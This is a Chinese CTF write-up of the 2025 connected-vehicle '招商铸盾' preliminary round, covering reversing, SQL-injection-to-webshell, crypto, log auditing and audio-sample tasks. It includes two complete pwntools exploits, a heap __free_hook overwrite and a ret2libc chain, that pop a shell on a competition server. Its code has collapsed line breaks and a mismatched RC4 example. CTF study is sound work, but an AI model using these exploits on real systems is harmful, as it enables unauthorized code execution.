当前位置: 首页 > news >正文

2025招商铸盾车联网CTF竞赛初赛题解

前言

2025“招商铸盾”智能网联汽车攻防演练赛是由招商局检测车辆技术研究院有限公司主办的面向智能网联汽车领域的安全攻防演练活动。演练活动按照“实车环境、真攻真测”的原则,在真实环境中,对智能网联汽车进行渗透测试,检验智能网联汽车企业产品网络和数据安全能力,帮助企业消除和缓解一批安全漏洞隐患,同时,比赛成果将在2025世界智能产业博览会-2025智能网联新能源汽车产业集群发展大会开幕式上发布,打造车联网安全漏洞挖掘赛事品牌,吸引聚集一批国内顶尖车联网安全攻防人才,实现“筑品牌、聚人才、强能力”的赛事目标,护航智能网联汽车产业高质量发展。

被队友带飞,分享一下我们队伍的题解。

欢迎关注微信公众号【Real返璞归真】回复【招商铸盾】获取完整题目附件下载地址。

image-20250820212454449

IOV

vin交互

题目给出testapp.apktest.pcapng文件,使用WireShark打开test.pcapng流量包分析:

image-20250820113508790

发现很多HCI_CMDHCI_EVT的协议类型,可以推断是低功耗蓝牙协议。

使用btl2cap过滤L2CAP类型的流量包:

image-20250820113642589

发现蓝牙数据包的加密数据:33303137323834663265643930333831343331316336386435313439626635633132

然后逆向分析apk分析加密逻辑:

image-20250820113757379

蓝牙连接成功后,会调用VinInputActivity类中的方法,继续跟进分析:

image-20250820113849456

发现程序会将输入的17位VIN码进行a.a(trim)方法加密,然后调用Native层的encrypt()方法加密。

加密后得到十六进制字符串,取bytes后通过蓝牙协议发送。

现在,解题思路显而易见,我们需要将bytes明文还原为十六进制字符串,然后对Native层的encrypt()解密,最后对a.a()解密。

找到Native层函数:

image-20250820114308806

发现是一个RC4魔改加密,跟进分析发现在KSA阶段对S-Box的偏移多进行了+3操作。

先还原bytes数据为十六进制:

from binascii import unhexlifycipher_hex = "33303137323834663265643930333831343331316336386435313439626635633132"
cipher_bytes = unhexlify(cipher_hex)
print(cipher_bytes)# b'3017284f2ed903814311c68d5149bf5c12'

然后调用RC4魔改解密:

def rc4_variant_decrypt(key, data_bytes):"""RC4变种解密函数 (KSA阶段+3)"""# 初始化S-Boxs_box = list(range(256))# KSAj = 0key_len = len(key)for i in range(256):j = (j + s_box[i] + ord(key[i % key_len]) + 3) & 0xFFs_box[i], s_box[j] = s_box[j], s_box[i]# PRGAresult = bytearray()i = j = 0for byte_val in data_bytes:i = (i + 1) & 0xFFj = (j + s_box[i]) & 0xFFs_box[i], s_box[j] = s_box[j], s_box[i]keystream_byte = s_box[(s_box[i] + s_box[j]) & 0xFF]result.append(byte_val ^ keystream_byte)return bytes(result)if __name__ == "__main__":encrypted_hex = "CAEBF2EBFD9ACBC3D6D9D7F28686C1F5C8"key = "SecretKey"decrypted_bytes = rc4_variant_decrypt(key, bytes.fromhex(encrypted_hex))try:print("解密结果:", decrypted_bytes.decode('utf-8'))except UnicodeDecodeError:print("解密结果 (二进制):", decrypted_bytes.hex().upper())# 解密结果 (二进制): 3017284F2ED903814311C68D5149BF5C12

此时,还差a.a()方法的还原,我们查看:

image-20250820114622553

编写脚本还原即可得到VIN:

decrypted_bytes = bytes.fromhex("CAEBF2EBFD9ACBC3D6D9D7F28686C1F5C8")
key = b"PMZPFVDM"vin_bytes = []
for i in range(len(decrypted_bytes)):enc = decrypted_bytes[i]k = key[i % len(key)]orig = (enc ^ k) - korig = orig % 256vin_bytes.append(orig)vin = bytes(vin_bytes).decode('ascii')
print(vin)# JYNkuvKA6G3RzzAkH

Web

firmware-update-system-web

sql注入进入后台上传文件:

image-20250820165327511

image-20250820165412156

写一个webshell打个压缩包上传上去会自动解压:

image-20250820165741275

image-20250820165604057

直接搜索找到flag:

image-20250820165628233

Reverse

gogogo

image-20250820170838287

检查程序发现有upx壳,但脱不掉

image-20250820170900632

发现是节区名被改了,改回来即可脱壳

image-20250820170955928

主函数里对输入进行了一个异或,然后密文也给出来了,我们直接写脚本即可

flag=[0x36,0x36,0x61,0x3C,0x32,0x35,0x34,0x3F,0x3D,0x3F,0x3F,0x3E,0x3D,0x3E,0x6B,0x24,0x75,0x21,0x20,0x72,0x2D,0x26,0x74,0x2C,0x2F,0x2C,0x28,0x78,0x7E,0x2B,0x7A,0x00]
result = []
for i in range(len(flag)):result.append(chr(flag[i] ^ (i+1)))flag = "".join(result)
print("Correct input (len={}):".format(len(flag)))
print(flag)

Pwn

type-pwn

2025ciscn天津半决赛的原题。

利用snprintf的格式化字符串漏洞进行参数注入,绕过安全检查。通过read覆盖内存后,利用snprintf触发溢出。随后通过修改堆块size字段绕过长度校验,实现任意地址写。由于缺少信息泄露功能,通过合并堆块使tcache与unsorted bin重叠,利用溢出爆破**_IO_2_1_stdout泄露libc地址。最后再次溢出修改tcache的fd指针,将free_hook改为system**完成利用。

打远程需要爆破stdout倒数第四位。

exp:

#!/usr/bin/python3
from pwn import*mx = process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():gdb.attach(mx)
def myencode(payload):return payload.replace(b'\x00',b'%39$c')+b'\x00'def add(idx,size):mx.sendlineafter(">> ",'1')mx.sendlineafter("dex",str(idx))mx.sendlineafter("Size: ",str(size))def delete(idx):mx.sendlineafter(">> ",'2')mx.sendlineafter("dex",str(idx))def edit(idx,payload,data):mx.sendlineafter(">> ","3")mx.sendlineafter("dex",str(idx))mx.sendlineafter("size of",payload)mx.sendafter("say",data)def exp():for i in range(10):if i==2:add(i,0x90)continueif i==6:add(i,0x90)continueadd(i,0x80)add(10,0x80)payload=p64(0x80)payload=payload.ljust(0x88,b'a')payload+=p64(0x4a1)payload+=p64(0x490)edit(0,myencode(payload),b'a')delete(6)delete(2)delete(1)add(1,0x80)payload=p64(0x80)payload=payload.ljust(0x88,b'a')payload+=p64(0x91)payload+=p64(0xa0)edit(0,myencode(payload),b'a')payload=b'a'*0x80+p64(0x401)+b'\x98'+b'\x26'edit(1,str(9999),payload)add(6,0x90)add(2,0x90)payload=p64(0xfbad1800)+p64(0)*3+b'\x00'edit(2,str(9999),payload)rl(b'\x00'*8)libc_addr=h64()-0x1ec980log_addr(libc_addr)libc.address=libc_addrsystem=libc.sym['system']free_hook=libc.sym['__free_hook']ordinal=libc_addr+0x1ecfd0payload=b'a'*0x80+p64(0x401)+p64(ordinal)*2edit(1,str(9999),payload)delete(7)delete(5)payload=p64(0x80)payload=payload.ljust(0x88,b'a')payload+=p64(0x91)payload+=p64(0xa0)edit(3,myencode(payload),b'a')payload=b'a'*0x80+p64(0x91)+p64(free_hook-0x8)*2edit(4,str(9999),payload)add(5,0x80)add(7,0x80)paylaod=b'a'*0x80+p64(0x91)+b'/bin/sh\x00'edit(4,str(9999),paylaod)edit(7,str(9999),p64(system)*4)delete(5)inter()
while(1):try:mx=remote('124.133.253.44',32889)mx.timeout = 3exp()except:mx.close()

pwn-3

ret2libc模板题,exp:

from pwn import *context(os='linux', arch='amd64', log_level='debug')def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r(a):return p.recv(a)
def ru(a):return p.recvuntil(a)
def debug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base):return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))p = remote('124.133.253.44',33025)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')write_got = elf.got['write']
write_plt = elf.plt['write']
pop_rdi_ret = 0x400643
pop_rsi_r15 = 0x400641
ret_addr = 0x400431
main = 0x4005BDpayload = b'a' * 0x88 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15)+ p64(write_got) * 2 + p64(write_plt) + p64(main)
sl(payload)p.recv(0xf0)
libc_base = get_addr() - libc.sym['write']
success("libc_base: " + hex(libc_base))system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))sleep(1)
payload = b'a' * 0x88 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh) + p64(ret_addr) + p64(system)
sl(payload)p.interactive()

Crypto

这是古典密码

首先base64解码,之后Affine解码。

image-20250820170147124

Misc

日志审计-8-19

编写Python脚本提取出所有ip并去重:

import rewith open('ips', 'r', encoding='utf-8') as file:content = file.read()ip_pattern = r'\b(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b'
all_ips = re.findall(ip_pattern, content)
unique_ips = list(set(all_ips))for ip in unique_ips:print(ip)'''
64.62.197.61
64.62.197.158
47.92.157.23
42.193.41.241
183.136.225.9
177.77.135.158
65.49.1.84
47.242.202.229
122.168.194.41
110.25.94.78
38.54.6.236
47.243.23.190
167.71.255.173
47.99.74.113
65.49.1.35
3.88.32.20
65.49.1.53
65.49.1.100
64.62.197.74
65.49.1.119
8.129.166.17
54.225.39.50
64.62.197.55
8.210.134.241
64.62.197.201
34.204.195.64
103.47.87.163
64.62.197.100
116.62.150.156
117.50.118.93
120.27.245.19
187.158.18.195
111.7.96.147
64.62.197.18
65.49.1.104
64.62.197.163
111.7.96.151
183.136.225.31
189.190.234.247
103.76.181.118
64.62.197.125
'''

得到41个结果,其中有几个ip对adminroot进行多次尝试登录。

多提交几次,最终定位到恶意ip可能为:177.77.135.158。

对抗样本检测

数据集包含 200 个 WAV 格式的音频文件,存储在 data/new_hacker/ 目录下。

基本特征统计:

- 文件数量: 200 个

- 文件格式: WAV (16位深度)

- 采样率: 48000Hz 和 8000Hz

- 时长范围: 0.394 - 1.000 秒

- 文件大小范围: 16044 - 92936 字节

对每个音频文件提取以下特征:

- 时域特征: 时长、最大振幅、均值振幅、标准差、RMS

- 频域特征: 频谱质心、频谱滚降、频谱带宽

- 统计特征: 过零率、信号熵

  1. 第一遍扫描: 收集正常样本的特征统计量
  2. 第二遍扫描: 计算每个样本的异常程度

异常检测规则:

- 时长 z-score > 3 (异常时长)

- 文件大小 z-score > 3 (异常文件大小)

- 最大振幅 z-score > 3 (异常振幅)

- 最大振幅 > 0.95 (可疑的饱和振幅)

- 信号熵 < 2.0 (可疑的低熵值)

- 过零率 < 0.01 (可疑的低过零率)

- 频谱质心 > 8000Hz (可疑的高频成分)

检测发现1324为对抗样本

异常模式识别

  1. 时长异常: 样本时长为1.000s,明显长于正常样本的平均时长0.637s
  2. 文件大小异常: 16044 bytes,明显小于正常样本的平均大小60762 bytes
  3. 振幅饱和: 最大振幅达到1.000,表明音频信号被严重压缩或裁剪
  4. 低频特性: 频谱质心仅1468Hz,远低于正常语音的典型频谱范围
import os
import wave
import numpy as np
import struct
from collections import defaultdictdef analyze_audio_files():"""分析音频文件的基本特征,识别可能的对抗样本"""AUDIO_DATA_PATH = "./data/new_hacker"# 获取所有wav文件wav_files = [f for f in os.listdir(AUDIO_DATA_PATH) if f.endswith('.wav')]print(f"找到 {len(wav_files)} 个音频文件")results = []file_sizes = []durations = []sample_rates = []bit_depths = []# 分析每个音频文件for i, filename in enumerate(wav_files):filepath = os.path.join(AUDIO_DATA_PATH, filename)try:# 读取wav文件信息with wave.open(filepath, 'rb') as wav_file:# 基本信息n_channels = wav_file.getnchannels()sample_width = wav_file.getsampwidth()  # 字节数frame_rate = wav_file.getframerate()    # 采样率n_frames = wav_file.getnframes()duration = n_frames / frame_ratefile_size = os.path.getsize(filepath)# 读取音频数据frames = wav_file.readframes(n_frames)if sample_width == 1:# 8位音频samples = np.frombuffer(frames, dtype=np.uint8)elif sample_width == 2:# 16位音频samples = np.frombuffer(frames, dtype=np.int16)elif sample_width == 4:# 32位音频samples = np.frombuffer(frames, dtype=np.int32)else:samples = np.frombuffer(frames, dtype=np.uint8)# 转换为float进行分析if sample_width == 1:samples = samples.astype(float) / 255.0elif sample_width == 2:samples = samples.astype(float) / 32768.0elif sample_width == 4:samples = samples.astype(float) / 2147483648.0# 计算音频特征max_amplitude = np.max(np.abs(samples))mean_amplitude = np.mean(np.abs(samples))std_amplitude = np.std(samples)rms = np.sqrt(np.mean(samples**2))# 计算频谱特征if len(samples) > 1024:# 使用简单的FFTfft_result = np.fft.fft(samples[:1024])fft_magnitude = np.abs(fft_result[:512])  # 只取正频率部分spectral_centroid = np.sum(np.arange(len(fft_magnitude)) * fft_magnitude) / np.sum(fft_magnitude)spectral_rolloff = np.percentile(fft_magnitude, 85)else:spectral_centroid = 0spectral_rolloff = 0# 存储结果result = {'filename': filename,'duration': duration,'sample_rate': frame_rate,'channels': n_channels,'bit_depth': sample_width * 8,'file_size': file_size,'max_amplitude': max_amplitude,'mean_amplitude': mean_amplitude,'std_amplitude': std_amplitude,'rms': rms,'spectral_centroid': spectral_centroid,'spectral_rolloff': spectral_rolloff}results.append(result)# 收集统计信息file_sizes.append(file_size)durations.append(duration)sample_rates.append(frame_rate)bit_depths.append(sample_width * 8)except Exception as e:print(f"处理文件 {filename} 时出错: {e}")continueif i % 50 == 0:print(f"已处理 {i+1}/{len(wav_files)} 个文件")print(f"\n=== 数据集基本统计 ===")print(f"文件大小范围: {min(file_sizes)} - {max(file_sizes)} 字节")print(f"时长范围: {min(durations):.3f} - {max(durations):.3f} 秒")print(f"采样率: {set(sample_rates)}")print(f"位深度: {set(bit_depths)}")# 识别可能的对抗样本# 基于异常检测的简单方法adversarial_candidates = []# 计算统计量duration_mean = np.mean(durations)duration_std = np.std(durations)size_mean = np.mean(file_sizes)size_std = np.std(file_sizes)amplitude_mean = np.mean([r['max_amplitude'] for r in results])amplitude_std = np.std([r['max_amplitude'] for r in results])print(f"\n=== 异常检测 ===")print(f"平均时长: {duration_mean:.3f} ± {duration_std:.3f} 秒")print(f"平均文件大小: {size_mean:.0f} ± {size_std:.0f} 字节")print(f"平均最大振幅: {amplitude_mean:.3f} ± {amplitude_std:.3f}")# 识别异常样本for result in results:is_suspicious = Falsereasons = []# 检查时长异常if abs(result['duration'] - duration_mean) > 3 * duration_std:is_suspicious = Truereasons.append(f"异常时长: {result['duration']:.3f}s")# 检查文件大小异常if abs(result['file_size'] - size_mean) > 3 * size_std:is_suspicious = Truereasons.append(f"异常文件大小: {result['file_size']} bytes")# 检查振幅异常if abs(result['max_amplitude'] - amplitude_mean) > 3 * amplitude_std:is_suspicious = Truereasons.append(f"异常振幅: {result['max_amplitude']:.3f}")# 检查采样率异常if result['sample_rate'] not in [8000, 16000, 22050, 44100, 48000]:is_suspicious = Truereasons.append(f"异常采样率: {result['sample_rate']}Hz")if is_suspicious:result['suspicious_reasons'] = reasonsadversarial_candidates.append(result)print(f"\n=== 可能的对抗样本 ===")if adversarial_candidates:print(f"发现 {len(adversarial_candidates)} 个可疑样本:")for i, candidate in enumerate(adversarial_candidates[:20]):print(f"{i+1}. {candidate['filename']}: {', '.join(candidate['suspicious_reasons'])}")# 保存到文件with open('suspicious_samples.txt', 'w', encoding='utf-8') as f:f.write("可疑样本列表 (可能的对抗样本):\n")f.write("=" * 60 + "\n")for candidate in adversarial_candidates:f.write(f"文件: {candidate['filename']}\n")f.write(f"原因: {', '.join(candidate['suspicious_reasons'])}\n")f.write(f"时长: {candidate['duration']:.3f}s, 大小: {candidate['file_size']} bytes\n")f.write(f"最大振幅: {candidate['max_amplitude']:.3f}\n")f.write("-" * 40 + "\n")print(f"\n可疑样本列表已保存到 suspicious_samples.txt")else:print("未发现明显异常的样本")return adversarial_candidates, resultsif __name__ == "__main__":adversarial_candidates, all_results = analyze_audio_files()
http://www.dtcms.com/a/341672.html

相关文章:

  • Vue 3 高性能实践 全面提速剖析!
  • 基于SpringBoot+Vue的吴韵苏香文旅小程序(协同过滤算法、Echarts图形化分析、腾讯地图API、二维码识别)
  • Linux KGDB 内核调试完全指南:原理、架构与应用
  • ADG duplicate实施方案详细教程(单机版)
  • 基于STM32单片机智能药盒定时吃药喂水蓝牙APP设计
  • abc Replace
  • cadence16.6修改原理图的Page Number过程中遇到问题
  • 工地智能安全带让高空作业更安全
  • PCB题目基础练习3
  • 前端项目面试分析
  • 解决 nginx: [warn] “ssl_stapling“ ignored, issuer certificate not found 报错
  • cobbler
  • 连续空间强化学习:策略输出的两种形态 —— 概率分布与确定性动作
  • 智慧城市SaaS平台/市政设施运行监测系统之排水管网运行监测、综合管廊运行监测
  • lesson43:Python操作MongoDB数据库完全指南
  • Hyperledger Fabric官方中文教程-改进笔记(十三)-使用测试网络创建通道
  • 25年CATL宁德时代社招晋升竞聘Veirfy测评SHL题库演绎数字语言推理答题指南
  • Js逆向 某花顺登录滑块逆向
  • AI入门学习--理解token
  • Springboot 项目配置多数据源
  • TDengine IDMP 运维指南(5. 使用 Helm 部署)
  • C++ 数据结构 和 STL
  • Python如何将两个列表转化为一个字典
  • Spring Framework 常用注解详解(按所属包分类整理)
  • innovus auto_fix_short.tcl
  • MTK Linux DRM分析(三)- drm_drv.c分析
  • 【智能体记忆】记忆如何塑造我们:深入探究记忆的类型
  • yolov8检测实时视频流,裁剪出未戴头盔的头部方案
  • HarmonyOS相对布局 (RelativeContainer) 基本概念
  • ODPS 十五周年实录 | 为 AI 而生的数据平台